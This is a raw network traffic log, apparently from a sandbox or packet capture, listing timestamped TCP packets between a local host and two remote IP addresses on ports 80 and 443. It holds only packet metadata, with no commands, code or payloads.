Dec 19, 2024 14:10:29.991468906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.991511106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.991579056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.992110014 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.992160082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.992228985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.992279053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.992970943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.993120909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.993249893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.993581057 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.993948936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.993969917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.994005919 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.994039059 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.994637966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.994734049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.994744062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.995007992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.995490074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.995547056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.995593071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.995661020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.996298075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.996593952 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.996665955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.997229099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.997323036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.997327089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.997380018 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.998035908 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.998109102 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.998117924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.998234987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.998826981 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.998987913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.999069929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.999665976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.999748945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.999803066 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.999834061 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.000499010 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.000612974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.000696898 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.001368046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.001432896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.001476049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.001538038 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.002171040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.002234936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.002269983 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.002301931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.003264904 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.003350973 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.003432035 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.003567934 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.004218102 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.004313946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.004354954 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.004386902 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.005130053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.005192041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.005249977 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.005918026 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.006005049 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.006025076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.006081104 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.006592989 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.006660938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.006721973 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.007242918 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.007379055 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.007436037 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.008157015 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.008208036 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.008238077 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.008359909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.009067059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.009141922 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.009212971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.009358883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.009958982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.010015011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.010168076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.010257006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.011260033 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.011276960 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.011343002 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.011923075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.011972904 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.012079954 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.012171030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.012909889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.012969971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.012972116 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.013012886 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.013432026 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.013508081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.013536930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.013582945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.014079094 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.014131069 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.014187098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.014245987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.014807940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.014892101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.014956951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.015678883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.015729904 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.015799999 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.015846014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.016465902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.016515017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.155445099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.155484915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.155565023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.155838966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.155921936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.155978918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.156761885 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.156778097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.156817913 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.156840086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.157592058 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.157649040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.157708883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.158376932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.158457041 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.158461094 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.159214020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.159275055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.159502029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.159581900 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.160208941 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.160214901 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.160267115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.170300007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.170384884 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.170454979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.170733929 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.170779943 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.170855999 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.171006918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.171535969 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.171591997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.171622992 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.171750069 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.172467947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.172524929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.172601938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.172655106 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.173285961 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.173336983 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.173398972 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.173449993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.174099922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.174151897 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.174325943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.174488068 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.175035000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.175110102 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.175146103 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.175209045 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.175750017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.175832987 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.175836086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.175879955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.176660061 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.176711082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.176728964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.176784992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.177572966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.177654982 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.177665949 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.177782059 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.178478956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.178539038 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.178608894 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.179265976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.179296970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.179378033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.179378033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.180315018 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.180392027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.180445910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.181111097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.181160927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.181267023 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.181310892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.181844950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.181883097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.181911945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.181942940 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.182454109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.182528973 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.182535887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.183799028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.183892012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.184225082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.184278965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.184706926 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.184758902 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.184792042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.184839010 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.185383081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.185436010 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.185477972 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.185522079 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.186104059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.186153889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.186186075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.186753035 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.186800957 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.186816931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.186885118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.187495947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.187546968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.187630892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.187808990 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.188338995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.188405991 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.188440084 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.188509941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.189168930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.189244986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.189292908 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.189341068 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.190090895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.190143108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.190262079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.190356970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.190895081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.191046000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.191109896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.191795111 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.191813946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.191863060 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.192562103 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.192610025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.192651033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.192703009 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.193376064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.193447113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.193571091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.193619013 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.194221973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.194283962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.194329977 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.195049047 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.195108891 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.195252895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.195365906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.195955038 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.196001053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.196140051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.196198940 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.196765900 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.197153091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.197215080 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.197637081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.197743893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.197803020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.198457956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.198513985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.198577881 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.199251890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.199368000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.199373007 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.199446917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.200351954 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.200359106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.200412035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.200963974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.201078892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.201098919 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.201128960 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.201836109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.201982021 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.202001095 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.202025890 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.202608109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.202676058 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.202719927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.202719927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.203725100 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.203815937 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.203866959 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.204401970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.204471111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.204514980 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.204638004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.205260992 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.205322027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.205364943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.205413103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.205981970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.206037045 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.206074953 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.206140041 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.206815958 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.206954956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.207005024 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.207731009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.207793951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.207896948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.208064079 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.209515095 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.209582090 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.341196060 CET	443	49808	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:30.341326952 CET	49808	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:30.348077059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.348160028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.348184109 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.348246098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.348347902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.348400116 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.348469973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.348526955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.349252939 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.349369049 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.349520922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.349569082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.350115061 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.350172997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.350200891 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.350255013 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.350806952 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.350877047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.350950003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.351016045 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.351624966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.351660013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.351708889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.352387905 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.352400064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.352452993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.360160112 CET	49808	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:30.360178947 CET	443	49808	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:30.361078024 CET	443	49808	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:30.362616062 CET	80	49800	31.41.244.11	192.168.2.4
